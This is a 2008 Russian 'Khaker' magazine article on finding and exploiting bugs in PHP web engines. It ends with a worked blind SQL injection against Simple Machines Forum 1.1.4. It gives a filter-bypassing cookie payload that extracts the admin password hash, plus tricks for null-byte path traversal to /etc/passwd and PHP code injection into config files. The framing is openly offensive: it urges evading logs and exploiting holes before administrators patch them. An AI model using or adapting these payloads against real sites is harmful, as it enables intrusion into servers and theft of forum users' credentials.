Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #111, МАРТ 2008 г.

Тернистый путь багоискателя

Elekt ([sencored!]@antichat.ru)

Хакер, номер #111, стр. 111-052-1

Общие приемы анализа PHP-движков

Бытует мнение, что найти серьезный баг в популярном продукте нельзя. Действительно, сделать это сложно. Современные кодеры пишут продукты явно с учетом существования нас с вами. Сканят новейшими сканерами, отдают разным аудит-компаниям, отваливая тонны бабла за услуги пен-тестинга. Но никто и ничто не гарантирует абсолютную защищенность. И хоть сто тестеров будут искать баги – проследить все до единой взаимозависимости и вызовы способен лишь гений, которых, как известно, в мире очень мало. Зато хакеров, которых хлебом не корми, дай что-нибудь взломать, пока хватает.

Создаем плацдарм

Перво-наперво поднимем локальный веб-сервер на своем PC. Согласись, что палить найденные баги в логах на официальном сайте просто не профессионально. Хотя дело не только в «засвечивании» уязвимостей. Настройки чужого сервера могут быть неблагоприятны, и мы просто не заметим баг в движке. Поэтому скажу несколько слов о настройке локального веб-сервера с приоритетом на максимальное отображение всех ошибок.

Для продуктивной работы обзаведемся связкой Apache+PHP+MySQL. Уделим внимание некоторым переменным в php.ini.

php.ini

register_globals=ON ; глобализация переменных – потенциальная брешь в безопасности

magic_quotes=OFF ; отключаем магические ковычки для GET/POST/COOKIE – благоприятствует SQL-inj

magic_quotes_runtime=OFF ; благоприятствует SQL-inj

magic_quotes_sybase=OFF ; благоприятствует SQL-inj

mysql.trace_mode=ON ; включает показ ошибок MySQL

allow_url_fopen=ON ; разрешает удаленное открытие файлов файловыми функциями

allow_url_include=ON ; разрешает удаленно инклудить файлы(PHP5.2)

error_reporting=E_ALL ; показ всех ошибок

error_log= /var/log/httpd/php_error ; логирование ошибок

log_errors=ON ; логирование ошибок

disable_functions= ; никаких ограничений

safe_mode=OFF ; никаких ограничений

open_basedir= ; никаких ограничений

sql.safe_mode=OFF ; благоприятствует SQL-inj

И, конечно, грамотно настроим конфиг Апача:

DirectoryIndex [пусто]; нет стартовой страницы

Options Indexes; листинг директорий

(это позволит сканеру свободно проиндексировать и проанализировать все скрытые скрипты)

Все, теперь наш плацдарм готов для анализа бажных движков.

Поисковики

Аудит цели почти каждый привык начинать с нехитрых запросов в поисковых системах. Но едва дело доходит до аудита кода, зачастую про них забывают. Вот это зря! Ведь Гугл предоставил мощное средство поиска в исходниках (www.google.com/codesearch?hl=ru). Прими это к сведению – пригодится.

Сравнение версий

Ничто не мешает обратить обновление движка против него самого. То есть тупо взять две соседних версии проекта и сравнением изменений найти в нем баг. Часто разработчик прикладывает HISTORY.txt к своему детищу, дабы мы могли на глазок оценить прогресс развития проекта. Но это палка о двух концах. Ведь помимо всяких баг-фиксов в этом файле может быть и скудное описание найденных закрытых уязвимостей. Иными словами, можно использовать HISTORY.txt для атак на старые версии, ведь за обновлением движка следит далеко не каждый администратор проекта.

На заметку еще один момент. То, что пофиксено – не обязательно пофиксено повсеместно. Есть множество примеров из публичных багов (например, подстановка %2527 в phpBB) и личного опыта, когда разработчиком патчится один файл, а по соседству лежат еще 10 дырявых скриптов с аналогичным багом. Чем не хакерский рай?

Если цель – взломать определенный движок, то следует посетить официальный сайт проекта. В 99% случаях там есть security-трек либо RSS-лента, где можно найти что-нибудь интересное – будь то информация о новом модуле или мегадобавление, без которого пользователь, по уверениям разработчика, не сможет прожить ни дня.

Бывает, что меняется состав команды кодеров, и в первую очередь страдает безопасность, поскольку сроки выполнения проекта всегда важнее его качества.

И еще. Нужно обязательно скачать последнюю и предпоследнюю версию движка. В общем-то, я уже это предлагал, но здесь речь идет не об HISTORY.txt. Воспользуйся автоматизированной утилитой для побайтного сравнения файлов (например, AVC, WinMerge, AutoVer, Bazaar, Beyond Compare – ищи их на нашем DVD) и попытайся понять, почему программист дописал или убрал выделяющийся код. Отмечу, что замечательность архива, в который запакован движок, в том, что помимо самих файлов в нем сохраняются их атрибуты, в том числе и даты изменения. Распаковав архив, находим банальным виндовым поиском свеженькие файлы и скрупулезно ищем отличия от предыдущей версии двига.

Поиск по регулярному выражению

Итак, наступает самая важная хакерская фаза – ручная раскопка исходников. Поверь мне, так и только так мы получим то, что ищем. Ведь ни один сканер не сделает за тебя эту грязную и скрупулезную работу!

С течением времени опыт будет приносить своё... Даст тебе возможность просматривать код одним глазом (или даже по диагонали), сходу выявляя дефекты приложения. Но на первых порах рекомендую пользоваться какой-либо продвинутой поисковой софтиной. Уж чего-чего, а их сейчас предостаточно. Желательно, чтобы тулза поддерживала поиск в архивах, поскольку при массовом скане набора движков на конкретный баг, согласись, что распаковывать каждый файл весьма накладно. Чтобы не быть голословным, я выложил подборку зарекомендованных программ на наш DVD (SearchInform, PowerGREP, HandyFind и TextSuperSearch). Установив себе любую из них, зададим ключевое слово или фразу и обратимся к огромному логу. Баг, в отличие от девушки, ждет тебя, постоянен и предсказуем :).

Поиск может носить взаимообратную тактику, то есть либо мы сканируем один двиг на все баги, либо набор движков на один баг. В первом случае мы работаем на качество (к чему я и советую стремиться), а во втором, несомненно, на количество.

Часто случается так, что хакер находит уязвимость в функции PHP, регулярном выражении или в другой глобальной вещи. И данный баг характерен для многих продуктов. Помни, главная задача заключается в том, чтобы не проворонить аналогичную дырку в другом популярном двиге и заюзать её, пока админ или коллега хакер не добрался до багтрака.

Кстати! Внимательно следи за багтраками, смотри принцип работы чужих эксплоитов – все это тебе понадобится в дальнейшем, если ты действительно намерен добиться успеха, а не быть посредственным псевдохакером, каких сейчас толпы.

Цели поиска

Итак, давай выясним, чего же мы хотим? А хотим мы порулить сервером. Исходя из этого, сформулируем цели и задачи.

Вторжение на сервер условно можно разделить на следующие этапы:

1. Повышение привилегий. В общем случае этап заключается в повышении прав с гостя до администратора/модератора/редактора и т.д. Как правило, это осуществляется при помощи SQL-инъекции или XSS. О данных атаках не раз писали на страницах нашего журнала, поэтому заострять внимание на этом не буду. На практике, доверия к администратору всегда больше, потому код «админок» или «модерок» на порядок дырявее прочих. И частенько, имея учетную запись пользователя или модератора, можно так или иначе получить права админа.

Согласен, что этот шаг необязателен, поскольку наличие других уязвимостей позволяет пропустить его, например:

2. Выполнение произвольного кода с привилегиями веб-сервера. Вот то, ради чего мы с вами мучаемся (хотя, надо сказать, что далеко не каждый хакер удовлетворяется веб-шелом). Отдельно коснусь инклудов. Не забываем, что для удаленных уязвимостей подобного рода помимо нулл-байта существует знак вопроса, а для локальных пригодны логи апача и файлы сессий.

Заострим наше внимание на исполнении произвольного кода в админке. Желанная надпись «Загрузить шелл как картинку» встречается все реже, а полазать по серваку по-прежнему охота. Существует масса способов исполнить произвольный код, там, где нельзя, но очень хочется. Часть из них я описал в статье «Роковые ошибки PHP», а вот, на десерт, еще парочка способов.

Трюк первый

Данным, получаемым из БД, доверяют 99% приложений. При заносе в БД данные очень тщательно проверяются, но не наоборот. Самый смак в том, что даже если на серваке включен magic_quotes и найденный инклуд невозможно проэксплуатировать, то MySQL дает отличный козырь, поскольку он вполне переваривает NULL-байт. Ну а в базе может храниться путь к двигу, теме, шаблону или языку, который входит в часть пути инклуда! Модуль восстановления БД сейчас есть практически везде. Вот так, нехитрым образом, можно посмотреть базу аккаунтов на сервере.

UPDATE cms_config SET lang=concat('rus/../../../../etc/passwd',0x00);

Трюк второй

Настройки доступа к БД зачастую хранятся в файле, который может редактироваться из админки. В случае недостаточной фильтрации мы можем вписать в конфиг произвольный PHP-код. Например, phpinfo();

Было

$db_host = 'localhost';

Стало

$db_host = 'localhost';phpinfo();\\';

3. Дальнейшее повышение прав aka «полный рут» всеми правдами и неправдами. Рассмотрение сей проблемы, к сожалению, выходит за пределы темы статьи.

Сладкое печенье

Предположим, с помощью найденной баги удалось перехватить хэш пароля администратора. Но вот незадача – вход в админку реализуется только по паролю (не в виде хэша). Неужели опять брутить? Не спешим запускать любимый брутфорс, а внимательно покопаемся в сорцах с целью четкого выяснения механизма авторизации. В большинстве случаев вовсе не обязательно колоть хэш – достаточно сгенерировать валидый кукиз на его основе и админка будет для нас открыта.

Кстати, еще далеко не все движки используют сессии, время жизни сессии/кукиза, или хитрый алгоритм с солью, что препятствует использованию добытого хэша в хакерских целях.

Автоматизация

Настало время написать эксплоит на успешно найденный баг. Не волнуйся, тут нет ничего сверхсложного. Новичку на первое время я бы рекомендовал разобраться в чужом эксплойте и просто апдейтить его код под свои нужды. Набравшись опыта, напишешь свой собственный. Выбор языка – дело вкуса и склонностей. В качестве базового ты можешь воспользоваться тем, который мы сейчас напишем.

При написании эксплойта желательно использовать алгоритм атаки, наиболее незаметной с точки зрения логов (POST, COOKIE, но никак не GET! Не стоит палить найденный баг), а также учитывать пограничные ситуации, когда в работе эксплойта что-либо может пойти не так. Например, отключен вывод ошибок, на который опирается эксплойт, или версия/тип базы данных не подходит. Здесь следует грамотно предусмотреть режим отладки и т.п. Не ленись – сделай это для себя, ведь в дальнейшем самому же будет проще разобраться.

SMF <= 1.1.4 SQL-injection

Настало время применить наши знания на практике. В качестве цели был избран подопытный движок Simple Machines Forum (SMF) последней версии 1.1.4.

Позволю себе небольшое лирическое отступление: летом в SMF нашли SQL-injection и в связи с этим был обнародован публичный эксплоит. Уместным будет сказать о том, что после подобных «сюрпризов» разработчики хватаются за голову и начинают старательно патчить своё творение. Как следствие, поиск новых уязвимостей становится на порядок сложнее. Сразу после выхода эксплоита кодеры реально озаботились секурностью своего продукта и залатали дырки по полной программе. Гайки закрутили тщательно – слешируется и «чарится» абсолютно все, что только существует, причем иногда и по два-три раза. Встроена целенаправленная защита от ансета, глобальса, SQL-атак, организовано грамотное логирование ошибок. В общем, все, вроде бы, как подобает.

Но русские хакеры не сдаются :). Пробежавшись по сорцам, я заметил интересную вещь: глобальный массив _REQUEST насильно переписывают через _GET и _POST. Даже не представляю, зачем это потребовалось. Далее, кодеры забывают обнулить $topic в случае отсутствия его в новом запросе. Смотри сам:

/Sources/QueryString.php

$_REQUEST = $_POST + $_GET;

...............

if (isset($_REQUEST['topic']))

{

$topic = (int) $_REQUEST['topic'];

}

Таким образом, при register_globals=ON мы можем определить $topic через _COOKIE и обойти фильтрацию.

Дело в том, что в дальнейшем скрипты всецело доверяют переменной $topic, подставляя её в кучу кверей даже без кавычек!

/Sources/Load.php

// Check for moderators and see if they have access to the board.

function loadBoard()

{

...............

if (empty($temp))

{

$request = db_query("

SELECT

c.ID_CAT, b.name AS bname, b.description, b.numTopics, b.memberGroups,

b.ID_PARENT, c.name AS cname, IFNULL(mem.ID_MEMBER, 0) AS ID_MODERATOR,

mem.realName" . (!empty($topic) ? ", b.ID_BOARD" : '') . ", b.childLevel,

b.ID_THEME, b.override_theme, b.permission_mode, b.countPosts

FROM ({$db_prefix}boards AS b" . (!empty($topic) ? ", {$db_prefix}topics AS t" : '') . ")

LEFT JOIN {$db_prefix}categories AS c ON (c.ID_CAT = b.ID_CAT)

LEFT JOIN {$db_prefix}moderators AS mods ON (mods.ID_BOARD = " . (empty($topic) ? $board : 't.ID_BOARD') . ")

LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = mods.ID_MEMBER)

WHERE b.ID_BOARD = " . (empty($topic) ? $board : "t.ID_BOARD

AND t.ID_TOPIC = $topic"), __FILE__, __LINE__);

Перебрав несколько сайтов из гугла, я нашел подтверждение своей догадке в виде победного «...Mysql error..» :).

Но если бы все было так просто! Получив вожделенный еррор, сталкиваешься со следующей проблемой – защитой против скулей.

/Sources/Subs.php

function db_query($db_string, $file, $line)

{

..............

if (empty($modSettings['disableQueryCheck']))

{

..............

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s', '~/\*!40001 SQL_NO_CACHE \*/~', '~/\*!40000 USE INDEX \([A-Za-z\_]+?\) \*/~'), array(' ', '', ''), $clean)));

// We don't use UNION in SMF, at least so far. But it's useful for injections.

if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)

$fail = true;

// Comments? We don't use comments in our queries, we leave 'em outside!

elseif (strpos($clean, '/*') < 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)

$fail = true;

// Trying to change passwords, slow us down, or something?

elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)

$fail = true;

elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)

$fail = true;

// Sub selects? We don't use those either.

elseif (preg_match('~\([^)]*?select~s', $clean) != 0)

$fail = true;

Как видно из кода, мы не можем использовать 'union', 'select','sleep', 'benchmark' и '/*'. Если применять технологию «Subquery more 1 row» , то можно отказаться от union, sleep и benchmark. Но select и комментарий все равно остаются необходимы...

Казалось бы, безвыходная ситуация. Поскольку select будет пропущен фильтром, если перед селектом закроется скобка, то мы можем закрыть скобку в комментарии. Но ведь и сам комментарий вида /**/ фильтруется! Немного подумав, я вспомнил малоизвестный комментарий для MySQL – '#'. Однако '#' комментирует все от решетки и до конца строки, пожирая при этом всю полезную нагрузку. Тогда введем %0A (перевод строки) и полезное выражение, будучи начатым как бы со следующей строчки, воспринимается интерпретатором вполне корректно!

COOKIE: topic=(#)%0Aselect 1)

Рабочий запрос полностью:

/index.php

COOKIE: topic=if(ascii(substring((#)%0Aselect

oncat(id_member,0x3A,passwd) from smf_members where

is_activated=1 AND id_member=1 limit 1),1,1))<

1,1,(#)%0Aselect null from smf_members));

Еще некоторое время уходит на подгонку под багу моего шаблонного эксплоита, который ты можешь найти на видео-ролике к этой статье. Результатом работы эксплойта является хеш админского пароля в алгоритме sha1(strtolower($username).$password).

Последняя версия PasswordPro имеет специальный модуль для восстановления пароля от такого хеша.

Напутствие

Как видишь, даже весьма серьезные и защищаемые продукты не застрахованы от всех опасностей. Безграмотность кодеров и незнание тонкостей среды, в которой они программируют – настоящий рог изобилия багов. Помни это и копай дальше!

WWW

DVD

На нашем диске ты найдешь большую подборку различных сканеров исходных кодов.

Но помни, что пока лучший известный сканер – это человеческий мозг. Собери под него базу!

Содержание